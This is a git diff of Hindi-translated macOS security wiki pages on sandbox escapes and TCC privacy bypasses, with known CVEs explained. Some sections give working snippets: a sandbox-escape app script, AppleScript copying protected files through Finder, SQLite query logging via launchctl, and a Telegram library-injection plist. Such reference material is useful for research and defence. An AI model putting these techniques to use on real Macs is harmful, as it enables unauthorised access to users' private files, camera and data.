होता है जब **libSystem** पुस्तकालय लोड होता है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी भी Sandbox में नहीं आएगी: + +- यदि बाइनरी **पूर्ण रूप से स्थैतिक रूप से संकलित** होती है, तो यह उस पुस्तकालय को लोड करने से बच सकती है। +- यदि **बाइनरी को किसी पुस्तकालय को लोड करने की आवश्यकता नहीं है** (क्योंकि लिंक करने वाला भी libSystem में है), तो इसे libSystem को लोड करने की आवश्यकता नहीं होगी। + +### शेलकोड ध्यान दें कि **यहां तक कि शेलकोड** ARM64 में `libSystem.dylib` में लिंक करने की आवश्यकता होती है: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` -### Entitlements +### Not inherited restrictions + +जैसा कि **[इस लेख के बोनस](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** में बताया गया है, एक सैंडबॉक्स प्रतिबंध जैसे: +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +एक नए प्रक्रिया द्वारा बायपास किया जा सकता है, उदाहरण के लिए: +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +हालांकि, निश्चित रूप से, यह नया प्रक्रिया माता-पिता प्रक्रिया से अधिकार या विशेषाधिकार नहीं विरासत में लेगा। + +### अधिकार ध्यान दें कि भले ही कुछ **क्रियाएँ** **सैंडबॉक्स द्वारा अनुमति दी जा सकती हैं** यदि एक एप्लिकेशन के पास एक विशिष्ट **अधिकार** है, जैसे कि: ```scheme @@ -161,7 +322,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` -### Debug & bypass Sandbox with lldb +### lldb के साथ Sandbox को डिबग और बायपास करें आइए एक ऐसा एप्लिकेशन संकलित करें जिसे सैंडबॉक्स किया जाना चाहिए: @@ -292,9 +453,9 @@ Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` -> [!WARNING] > **सैंडबॉक्स बायपास होने के बावजूद TCC** उपयोगकर्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है +> [!WARNING] > **सैंडबॉक्स को बायपास करने के बावजूद TCC** उपयोगकर्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है -## संदर्भ +## References - [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) - [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 9f2815aa8..0d0be5731 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -24,7 +24,7 @@ asd

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

-### TCC Request by arbitrary name +### TCC अनुरोध किसी भी नाम से हमलावर **किसी भी नाम के साथ ऐप्स बना सकता है** (जैसे Finder, Google Chrome...) **`Info.plist`** में और इसे कुछ TCC संरक्षित स्थानों तक पहुँच के लिए अनुरोध करने के लिए बना सकता है। उपयोगकर्ता सोचेगा कि वैध एप्लिकेशन ही इस पहुँच के लिए अनुरोध कर रहा है।\ इसके अलावा, यह संभव है कि **Dock से वैध ऐप को हटा दें और फर्जी को उस पर रखें**, ताकि जब उपयोगकर्ता फर्जी पर क्लिक करे (जो उसी आइकन का उपयोग कर सकता है) तो यह वैध को कॉल कर सके, TCC अनुमतियों के लिए पूछ सके और एक मैलवेयर निष्पादित कर सके, जिससे उपयोगकर्ता को विश्वास हो कि वैध ऐप ने पहुँच का अनुरोध किया। @@ -37,7 +37,7 @@ asd ../../../macos-privilege-escalation.md {{#endref}} -### SSH Bypass +### SSH बायपास डिफ़ॉल्ट रूप से **SSH के माध्यम से पहुँच "पूर्ण डिस्क एक्सेस"** के साथ होती थी। इसे अक्षम करने के लिए आपको इसे सूचीबद्ध करना होगा लेकिन अक्षम करना होगा (सूची से हटाने से उन विशेषाधिकारों को नहीं हटाया जाएगा): @@ -50,21 +50,21 @@ asd > [!CAUTION] > ध्यान दें कि अब, SSH सक्षम करने के लिए आपको **पूर्ण डिस्क एक्सेस** की आवश्यकता है -### Handle extensions - CVE-2022-26767 +### हैंडल एक्सटेंशन - CVE-2022-26767 -विशेषता **`com.apple.macl`** फाइलों को दी जाती है ताकि **किसी विशेष एप्लिकेशन को इसे पढ़ने की अनुमति मिल सके।** यह विशेषता तब सेट होती है जब **ड्रैग\&ड्रॉप** के माध्यम से एक फाइल को एक ऐप पर रखा जाता है, या जब एक उपयोगकर्ता **डबल-क्लिक** करता है एक फाइल को इसे **डिफ़ॉल्ट एप्लिकेशन** के साथ खोलने के लिए। +विशेषता **`com.apple.macl`** फाइलों को दी जाती है ताकि **किसी विशेष एप्लिकेशन को इसे पढ़ने की अनुमति मिल सके।** यह विशेषता तब सेट होती है जब **ड्रैग\&ड्रॉप** के माध्यम से एक फाइल को ऐप पर रखा जाता है, या जब उपयोगकर्ता **डबल-क्लिक** करता है एक फाइल को इसे **डिफ़ॉल्ट एप्लिकेशन** के साथ खोलने के लिए। -इसलिए, एक उपयोगकर्ता **एक दुर्भावनापूर्ण ऐप को पंजीकृत कर सकता है** सभी एक्सटेंशन को संभालने के लिए और Launch Services को **खोलने** के लिए कॉल कर सकता है किसी भी फाइल (ताकि दुर्भावनापूर्ण फाइल को इसे पढ़ने की अनुमति मिल सके)। +इसलिए, एक उपयोगकर्ता **एक दुर्भावनापूर्ण ऐप को पंजीकृत कर सकता है** ताकि सभी एक्सटेंशनों को संभाल सके और Launch Services को **कोई भी फाइल खोलने** के लिए कॉल कर सके (ताकि दुर्भावनापूर्ण फाइल को इसे पढ़ने की अनुमति मिल सके)। ### iCloud -विशेषाधिकार **`com.apple.private.icloud-account-access`** के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव है जो **iCloud टोकन** प्रदान करेगा। +अधिकार **`com.apple.private.icloud-account-access`** के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव है जो **iCloud टोकन** प्रदान करेगा। -**iMovie** और **Garageband** के पास यह विशेषाधिकार था और अन्य जो अनुमति देते थे। +**iMovie** और **Garageband** के पास यह अधिकार था और अन्य जो अनुमति देते थे। -इस विशेषाधिकार से **icloud टोकन** प्राप्त करने के लिए शोषण के बारे में अधिक **जानकारी** के लिए देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +इस अधिकार से **icloud टोकन** प्राप्त करने के लिए शोषण के बारे में अधिक **जानकारी** के लिए देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) -### kTCCServiceAppleEvents / Automation +### kTCCServiceAppleEvents / ऑटोमेशन एक ऐप जिसके पास **`kTCCServiceAppleEvents`** अनुमति है, वह **अन्य ऐप्स को नियंत्रित** कर सकेगा। इसका मतलब है कि यह **अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग** कर सकता है। @@ -78,9 +78,9 @@ macos-apple-scripts.md
-#### Over iTerm +#### iTerm पर -Terminal, जिसे FDA नहीं है, iTerm को कॉल कर सकता है, जिसके पास यह है, और इसका उपयोग क्रियाएँ करने के लिए कर सकता है: +Terminal, जिसके पास FDA नहीं है, iTerm को कॉल कर सकता है, जिसके पास है, और इसका उपयोग क्रियाएँ करने के लिए कर सकता है: ```applescript:iterm.script tell application "iTerm" activate @@ -96,9 +96,9 @@ end tell ```bash osascript iterm.script ``` -#### Over Finder +#### ओवर फ़ाइंडर -या यदि किसी ऐप को Finder पर पहुंच है, तो यह एक स्क्रिप्ट हो सकती है जैसे कि यह: +या यदि एक ऐप फ़ाइंडर पर पहुंच रखता है, तो यह एक स्क्रिप्ट हो सकती है जैसे कि यह: ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -108,14 +108,14 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` -## ऐप व्यवहार +## ऐप व्यवहार द्वारा ### CVE-2020–9934 - TCC -यूजरलैंड **tccd डेमन** **`HOME`** **env** वेरिएबल का उपयोग करके TCC उपयोगकर्ताओं के डेटाबेस तक पहुँच रहा था: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +यूजरलैंड **tccd daemon** **`HOME`** **env** वेरिएबल का उपयोग करके TCC उपयोगकर्ता डेटाबेस तक पहुँच रहा था: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -[इस Stack Exchange पोस्ट](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) के अनुसार और क्योंकि TCC डेमन वर्तमान उपयोगकर्ता के डोमेन के भीतर `launchd` के माध्यम से चल रहा है, इसे पास किए गए **सभी वातावरण वेरिएबल्स** को **नियंत्रित** करना संभव है।\ -इस प्रकार, एक **हमलावर `$HOME` वातावरण** वेरिएबल को **`launchctl`** में एक **नियंत्रित** **डायरेक्टरी** की ओर सेट कर सकता है, **TCC** डेमन को **रीस्टार्ट** कर सकता है, और फिर **TCC डेटाबेस को सीधे संशोधित** कर सकता है ताकि वह **हर उपलब्ध TCC अधिकार** प्राप्त कर सके बिना अंत उपयोगकर्ता को कभी भी संकेत दिए।\ +[इस Stack Exchange पोस्ट](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) के अनुसार और क्योंकि TCC daemon वर्तमान उपयोगकर्ता के डोमेन के भीतर `launchd` के माध्यम से चल रहा है, इसे पास किए गए **सभी वातावरण वेरिएबल्स** को **नियंत्रित करना संभव है**।\ +इसलिए, एक **हमलावर `$HOME` वातावरण** वेरिएबल को **`launchctl`** में एक **नियंत्रित** **डायरेक्टरी** की ओर इंगित करने के लिए सेट कर सकता है, **TCC** daemon को **रीस्टार्ट** कर सकता है, और फिर **TCC डेटाबेस को सीधे संशोधित** कर सकता है ताकि वह **हर उपलब्ध TCC अधिकार** प्राप्त कर सके बिना अंत उपयोगकर्ता को कभी भी संकेत दिए।\ PoC: ```bash # reset database just in case (no cheating!) @@ -145,19 +145,19 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - नोट्स -नोट्स को TCC संरक्षित स्थानों तक पहुंच प्राप्त थी लेकिन जब एक नोट बनाया जाता है तो यह **एक गैर-संरक्षित स्थान में बनाया जाता है**। इसलिए, आप नोट्स से एक संरक्षित फ़ाइल को एक नोट में कॉपी करने के लिए कह सकते हैं (तो एक गैर-संरक्षित स्थान में) और फिर फ़ाइल तक पहुंच सकते हैं: +नोट्स को TCC संरक्षित स्थानों तक पहुंच थी लेकिन जब एक नोट बनाया जाता है तो यह **एक गैर-संरक्षित स्थान में बनाया जाता है**। इसलिए, आप नोट्स से एक संरक्षित फ़ाइल को एक नोट में कॉपी करने के लिए कह सकते हैं (तो एक गैर-संरक्षित स्थान में) और फिर फ़ाइल तक पहुंच सकते हैं:
### CVE-2021-30782 - ट्रांसलोकेशन -बाइनरी `/usr/libexec/lsd` जिसमें लाइब्रेरी `libsecurity_translocate` थी, के पास `com.apple.private.nullfs_allow` का अधिकार था जिससे इसे **nullfs** माउंट बनाने की अनुमति मिली और इसके पास **`kTCCServiceSystemPolicyAllFiles`** के साथ `com.apple.private.tcc.allow` का अधिकार था जिससे हर फ़ाइल तक पहुंच प्राप्त की जा सके। +बाइनरी `/usr/libexec/lsd` जिसमें लाइब्रेरी `libsecurity_translocate` थी, के पास `com.apple.private.nullfs_allow` का अधिकार था जिससे इसे **nullfs** माउंट बनाने की अनुमति मिली और इसके पास **`kTCCServiceSystemPolicyAllFiles`** के साथ `com.apple.private.tcc.allow` का अधिकार था जिससे हर फ़ाइल तक पहुंचने की अनुमति मिली। -"Library" पर क्वारंटाइन विशेषता जोड़ना संभव था, **`com.apple.security.translocation`** XPC सेवा को कॉल करना और फिर यह Library को **`$TMPDIR/AppTranslocation/d/d/Library`** पर मैप कर देगा जहां Library के अंदर सभी दस्तावेज़ों तक **पहुँच** प्राप्त की जा सकती थी। +"Library" में क्वारंटाइन विशेषता जोड़ना संभव था, **`com.apple.security.translocation`** XPC सेवा को कॉल करना और फिर यह Library को **`$TMPDIR/AppTranslocation/d/d/Library`** पर मैप करेगा जहां Library के अंदर सभी दस्तावेज़ों तक **पहुँच** की जा सकती है। ### CVE-2023-38571 - म्यूजिक और टीवी -**`Music`** में एक दिलचस्प विशेषता है: जब यह चल रहा होता है, यह **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** में गिराए गए फ़ाइलों को उपयोगकर्ता की "मीडिया लाइब्रेरी" में **आयात** करेगा। इसके अलावा, यह कुछ इस तरह कॉल करता है: **`rename(a, b);`** जहां `a` और `b` हैं: +**`Music`** में एक दिलचस्प विशेषता है: जब यह चल रहा होता है, यह फ़ाइलों को **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** में उपयोगकर्ता की "मीडिया लाइब्रेरी" में **आयात** करेगा। इसके अलावा, यह कुछ इस तरह कॉल करता है: **`rename(a, b);`** जहां `a` और `b` हैं: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` @@ -166,14 +166,14 @@ $> ls ~/Documents ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -यदि **`SQLITE_SQLLOG_DIR="path/folder"`** है तो इसका मतलब है कि **कोई भी खुला db उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि **एक SQLite डेटाबेस के अंदर लिखा जा सके** जो एक प्रक्रिया द्वारा FDA TCC डेटाबेस के साथ **खुला** होने वाला है, और फिर **`SQLITE_SQLLOG_DIR`** का दुरुपयोग **फाइलनाम में एक सिम्लिंक** के साथ किया गया ताकि जब वह डेटाबेस **खुला** हो, उपयोगकर्ता **TCC.db को ओवरराइट** किया जा सके।\ +यदि **`SQLITE_SQLLOG_DIR="path/folder"`** है, तो इसका मतलब है कि **कोई भी खुला db उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि **SQLite डेटाबेस** के अंदर **लिखा** जा सके जो एक प्रक्रिया द्वारा FDA TCC डेटाबेस के साथ **खुला** जाएगा, और फिर **`SQLITE_SQLLOG_DIR`** का दुरुपयोग एक **symlink नाम में** किया गया ताकि जब वह डेटाबेस **खुला** हो, उपयोगकर्ता **TCC.db को ओवरराइट** किया जाए।\ **अधिक जानकारी** [**लेख में**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **और**[ **बातचीत में**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)। ### **SQLITE_AUTO_TRACE** यदि पर्यावरण चर **`SQLITE_AUTO_TRACE`** सेट किया गया है, तो लाइब्रेरी **`libsqlite3.dylib`** सभी SQL क्वेरीज़ को **लॉगिंग** करना शुरू कर देगी। कई अनुप्रयोगों ने इस लाइब्रेरी का उपयोग किया, इसलिए उनके सभी SQLite क्वेरीज़ को लॉग करना संभव था। -कई Apple अनुप्रयोगों ने TCC संरक्षित जानकारी तक पहुंच प्राप्त करने के लिए इस लाइब्रेरी का उपयोग किया। +कई Apple अनुप्रयोगों ने TCC संरक्षित जानकारी तक पहुंचने के लिए इस लाइब्रेरी का उपयोग किया। ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 @@ -188,12 +188,12 @@ launchctl setenv SQLITE_AUTO_TRACE 1 - एक या अधिक `write()` फ़ाइल में सामग्री लिखेंगे (हम इसे नियंत्रित नहीं करते) - `path/.dat.nosyncXXXX.XXXXXX` को `path/name` में `renamed()` किया जाएगा -यह एक अस्थायी फ़ाइल लेखन है, इसके बाद एक **`rename(old, new)`** **जो सुरक्षित नहीं है।** +यह एक अस्थायी फ़ाइल लेखन है, जिसके बाद एक **`rename(old, new)`** **जो सुरक्षित नहीं है।** यह सुरक्षित नहीं है क्योंकि इसे **पुराने और नए पथों को अलग-अलग हल करना होगा**, जो कुछ समय ले सकता है और एक Race Condition के प्रति संवेदनशील हो सकता है। अधिक जानकारी के लिए आप `xnu` फ़ंक्शन `renameat_internal()` की जांच कर सकते हैं। > [!CAUTION] -> तो, मूल रूप से, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक फ़ोल्डर से नाम बदल रही है जिसे आप नियंत्रित करते हैं, तो आप एक RCE जीत सकते हैं और इसे एक अलग फ़ाइल तक पहुँचने के लिए बना सकते हैं या, जैसे कि इस CVE में, उस फ़ाइल को खोल सकते हैं जिसे विशेषाधिकार प्राप्त ऐप ने बनाया और एक FD संग्रहीत कर सकते हैं। +> तो, मूल रूप से, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक फ़ोल्डर से नाम बदल रही है जिसे आप नियंत्रित करते हैं, तो आप एक RCE जीत सकते हैं और इसे एक अलग फ़ाइल तक पहुँच बना सकते हैं या, जैसे कि इस CVE में, उस फ़ाइल को खोल सकते हैं जिसे विशेषाधिकार प्राप्त ऐप ने बनाया और एक FD संग्रहीत कर सकते हैं। > > यदि नाम बदलने का फ़ोल्डर आप नियंत्रित करते हैं, जबकि आपने स्रोत फ़ाइल को संशोधित किया है या इसके लिए एक FD है, तो आप गंतव्य फ़ाइल (या फ़ोल्डर) को एक symlink की ओर इंगित करने के लिए बदल सकते हैं, ताकि आप जब चाहें लिख सकें। @@ -204,12 +204,12 @@ launchctl setenv SQLITE_AUTO_TRACE 1 - सेट करें `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` - इस env var के साथ `Music` चलाकर बग को सक्रिय करें - `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` का `open()` पकड़ें (X यादृच्छिक है) -- यहाँ हम इस फ़ाइल को लेखन के लिए भी `open()` करते हैं, और फ़ाइल डिस्क्रिप्टर को पकड़कर रखते हैं +- यहाँ हम इस फ़ाइल को लेखन के लिए भी `open()` करते हैं, और फ़ाइल डिस्क्रिप्टर को पकड़ कर रखते हैं - `/Users/hacker/tmp` को `/Users/hacker/ourlink` के साथ **एक लूप में** परमाणु रूप से स्विच करें - हम ऐसा करते हैं ताकि हमारी सफल होने की संभावनाएँ अधिकतम हो सकें क्योंकि दौड़ की खिड़की काफी संकीर्ण है, लेकिन दौड़ हारने का नुकसान नगण्य है -- थोड़ी देर प्रतीक्षा करें +- थोड़ा इंतजार करें - परीक्षण करें कि क्या हमें भाग्यशाली मिला -- यदि नहीं, तो फिर से शीर्ष से चलाएँ +- यदि नहीं, तो फिर से शीर्ष से चलाएं अधिक जानकारी [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) में है @@ -218,11 +218,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ### Apple Remote Desktop -रूट के रूप में आप इस सेवा को सक्षम कर सकते हैं और **ARD एजेंट को पूर्ण डिस्क एक्सेस होगा** जिसे फिर एक उपयोगकर्ता द्वारा एक नए **TCC उपयोगकर्ता डेटाबेस** की कॉपी करने के लिए दुरुपयोग किया जा सकता है। +रूट के रूप में आप इस सेवा को सक्षम कर सकते हैं और **ARD एजेंट को पूर्ण डिस्क एक्सेस** होगा जिसे फिर एक उपयोगकर्ता द्वारा एक नया **TCC उपयोगकर्ता डेटाबेस** कॉपी करने के लिए दुरुपयोग किया जा सकता है। ## By **NFSHomeDirectory** -TCC उपयोगकर्ता के HOME फ़ोल्डर में एक डेटाबेस का उपयोग करता है ताकि उपयोगकर्ता के लिए विशिष्ट संसाधनों तक पहुँच को नियंत्रित किया जा सके **$HOME/Library/Application Support/com.apple.TCC/TCC.db** पर।\ +TCC उपयोगकर्ता के HOME फ़ोल्डर में एक डेटाबेस का उपयोग करता है ताकि उपयोगकर्ता के लिए विशिष्ट संसाधनों तक पहुँच को नियंत्रित किया जा सके **$HOME/Library/Application Support/com.apple.TCC/TCC.db** में।\ इसलिए, यदि उपयोगकर्ता $HOME env variable को एक **विभिन्न फ़ोल्डर** की ओर इंगित करने के लिए TCC को पुनरारंभ करने में सफल होता है, तो उपयोगकर्ता **/Library/Application Support/com.apple.TCC/TCC.db** में एक नया TCC डेटाबेस बना सकता है और TCC को किसी भी ऐप को कोई भी TCC अनुमति देने के लिए धोखा दे सकता है। > [!TIP] @@ -237,14 +237,14 @@ TCC उपयोगकर्ता के HOME फ़ोल्डर में **पहला POC** [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) और [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) का उपयोग करता है ताकि उपयोगकर्ता के **HOME** फ़ोल्डर को संशोधित किया जा सके। 1. लक्षित ऐप के लिए एक _csreq_ ब्लॉब प्राप्त करें। -2. आवश्यक पहुँच और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल लगाएँ। +2. आवश्यक पहुँच और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल लगाएं। 3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) के साथ उपयोगकर्ता की Directory Services प्रविष्टि को निर्यात करें। 4. उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए Directory Services प्रविष्टि को संशोधित करें। 5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) के साथ संशोधित Directory Services प्रविष्टि को आयात करें। 6. उपयोगकर्ता के _tccd_ को रोकें और प्रक्रिया को पुनरारंभ करें। दूसरे POC ने **`/usr/libexec/configd`** का उपयोग किया जिसमें `com.apple.private.tcc.allow` था जिसका मान `kTCCServiceSystemPolicySysAdminFiles` था।\ -यह संभव था **`configd`** को **`-t`** विकल्प के साथ चलाने के लिए, एक हमलावर एक **कस्टम बंडल लोड करने** के लिए निर्दिष्ट कर सकता था। इसलिए, यह शोषण **उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए** **`dsexport`** और **`dsimport`** विधि को **`configd` कोड इंजेक्शन** के साथ **बदलता** है। +यह संभव था **`configd`** को **`-t`** विकल्प के साथ चलाने के लिए, एक हमलावर एक **कस्टम बंडल लोड करने** के लिए निर्दिष्ट कर सकता था। इसलिए, शोषण **`dsexport`** और **`dsimport`** विधि को उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए **`configd` कोड इंजेक्शन** के साथ **बदलता है**। अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) की जांच करें। @@ -261,17 +261,17 @@ TCC उपयोगकर्ता के HOME फ़ोल्डर में ### CVE-2020-27937 - Directory Utility -एप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में विशेषाधिकार **`kTCCServiceSystemPolicySysAdminFiles`** था, लोड किए गए प्लगइन्स में **`.daplug`** एक्सटेंशन था और **सुरक्षित** रनटाइम नहीं था। +एप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में **`kTCCServiceSystemPolicySysAdminFiles`** का अधिकार था, लोड किए गए प्लगइन्स में **`.daplug`** एक्सटेंशन था और **कठोर** रनटाइम नहीं था। -इस CVE को हथियारबंद करने के लिए, **`NFSHomeDirectory`** को **बदल दिया गया** (पिछले विशेषाधिकार का दुरुपयोग करते हुए) ताकि उपयोगकर्ता के TCC डेटाबेस को **कब्जा** किया जा सके और TCC को बायपास किया जा सके। +इस CVE को हथियारबंद करने के लिए, **`NFSHomeDirectory`** को **बदल दिया गया** (पिछले अधिकार का दुरुपयोग करते हुए) ताकि उपयोगकर्ता के TCC डेटाबेस को **कब्जा** किया जा सके और TCC को बायपास किया जा सके। अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) की जांच करें। ### CVE-2020-29621 - Coreaudiod -बाइनरी **`/usr/sbin/coreaudiod`** में विशेषाधिकार `com.apple.security.cs.disable-library-validation` और `com.apple.private.tcc.manager` थे। पहला **कोड इंजेक्शन** की अनुमति देता है और दूसरा **TCC** को प्रबंधित करने के लिए इसे पहुँच देता है। +बाइनरी **`/usr/sbin/coreaudiod`** में अधिकार `com.apple.security.cs.disable-library-validation` और `com.apple.private.tcc.manager` थे। पहला **कोड इंजेक्शन** की अनुमति देता है और दूसरा **TCC** को प्रबंधित करने की अनुमति देता है। -इस बाइनरी ने **तीसरे पक्ष के प्लगइन्स** को फ़ोल्डर `/Library/Audio/Plug-Ins/HAL` से लोड करने की अनुमति दी। इसलिए, यह संभव था कि **एक प्लगइन लोड करें और इस PoC के साथ TCC अनुमतियों का दुरुपयोग करें:** +इस बाइनरी ने **तीसरे पक्ष के प्लगइन्स** को `/Library/Audio/Plug-Ins/HAL` फ़ोल्डर से लोड करने की अनुमति दी। इसलिए, यह संभव था कि **एक प्लगइन लोड करें और इस PoC के साथ TCC अनुमतियों का दुरुपयोग करें:** ```objectivec #import #import @@ -302,7 +302,7 @@ For more info check the [**original report**](https://wojciechregula.blog/post/p ### Device Abstraction Layer (DAL) Plug-Ins -सिस्टम एप्लिकेशन जो Core Media I/O के माध्यम से कैमरा स्ट्रीम खोलते हैं (**`kTCCServiceCamera`** के साथ ऐप्स) **इन प्लग-इन्स को लोड करते हैं** जो `/Library/CoreMediaIO/Plug-Ins/DAL` में स्थित हैं (SIP प्रतिबंधित नहीं)। +सिस्टम एप्लिकेशन जो Core Media I/O के माध्यम से कैमरा स्ट्रीम खोलते हैं (**`kTCCServiceCamera`** के साथ ऐप्स) **इन प्लगइन्स को लोड करते हैं** जो `/Library/CoreMediaIO/Plug-Ins/DAL` में स्थित हैं (SIP प्रतिबंधित नहीं)। वहाँ एक सामान्य **कंस्ट्रक्टर** के साथ एक लाइब्रेरी को स्टोर करना **कोड इंजेक्ट** करने के लिए काम करेगा। @@ -340,13 +340,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ### CVE-2020-10006 -बाइनरी `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` में **`com.apple.private.tcc.allow`** और **`com.apple.security.get-task-allow`** अधिकार थे, जिससे प्रक्रिया के अंदर कोड इंजेक्ट करना और TCC विशेषाधिकारों का उपयोग करना संभव था। +बाइनरी `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` में **`com.apple.private.tcc.allow`** और **`com.apple.security.get-task-allow`** अधिकार थे, जिसने प्रक्रिया के अंदर कोड इंजेक्ट करने और TCC विशेषाधिकारों का उपयोग करने की अनुमति दी। ### CVE-2023-26818 - Telegram -Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** अधिकार थे, इसलिए इसे **इसके अनुमतियों तक पहुँचने के लिए** शोषण करना संभव था जैसे कि कैमरे के साथ रिकॉर्डिंग करना। आप [**लिखाई में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। +Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** अधिकार थे, इसलिए इसे **इसके अनुमतियों तक पहुंच प्राप्त करने** के लिए दुरुपयोग करना संभव था, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**लिखाई में पेलोड पा सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। -ध्यान दें कि एक लाइब्रेरी लोड करने के लिए env वेरिएबल का उपयोग कैसे करें, एक **कस्टम plist** बनाई गई थी ताकि इस लाइब्रेरी को इंजेक्ट किया जा सके और **`launchctl`** का उपयोग इसे लॉन्च करने के लिए किया गया था: +ध्यान दें कि env वेरिएबल का उपयोग करके एक लाइब्रेरी लोड करने के लिए एक **कस्टम plist** बनाई गई थी ताकि इस लाइब्रेरी को इंजेक्ट किया जा सके और **`launchctl`** का उपयोग इसे लॉन्च करने के लिए किया गया: ```xml @@ -376,15 +376,15 @@ Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** ```bash launchctl load com.telegram.launcher.plist ``` -## खुली आह्वान द्वारा +## खुली आमंत्रणों द्वारा -यह संभव है कि **`open`** को सैंडबॉक्स में रहते हुए भी आह्वान किया जा सके +यह संभव है कि **`open`** को सैंडबॉक्स में रहते हुए भी आमंत्रित किया जा सके ### टर्मिनल स्क्रिप्ट -यह तकनीकी लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **Full Disk Access (FDA)** देना आम है। और इसके साथ **`.terminal`** स्क्रिप्ट्स को आह्वान करना संभव है। +यह तकनीकी लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **पूर्ण डिस्क एक्सेस (FDA)** देना आम है। और इसके साथ **`.terminal`** स्क्रिप्ट को आमंत्रित करना संभव है। -**`.terminal`** स्क्रिप्ट्स plist 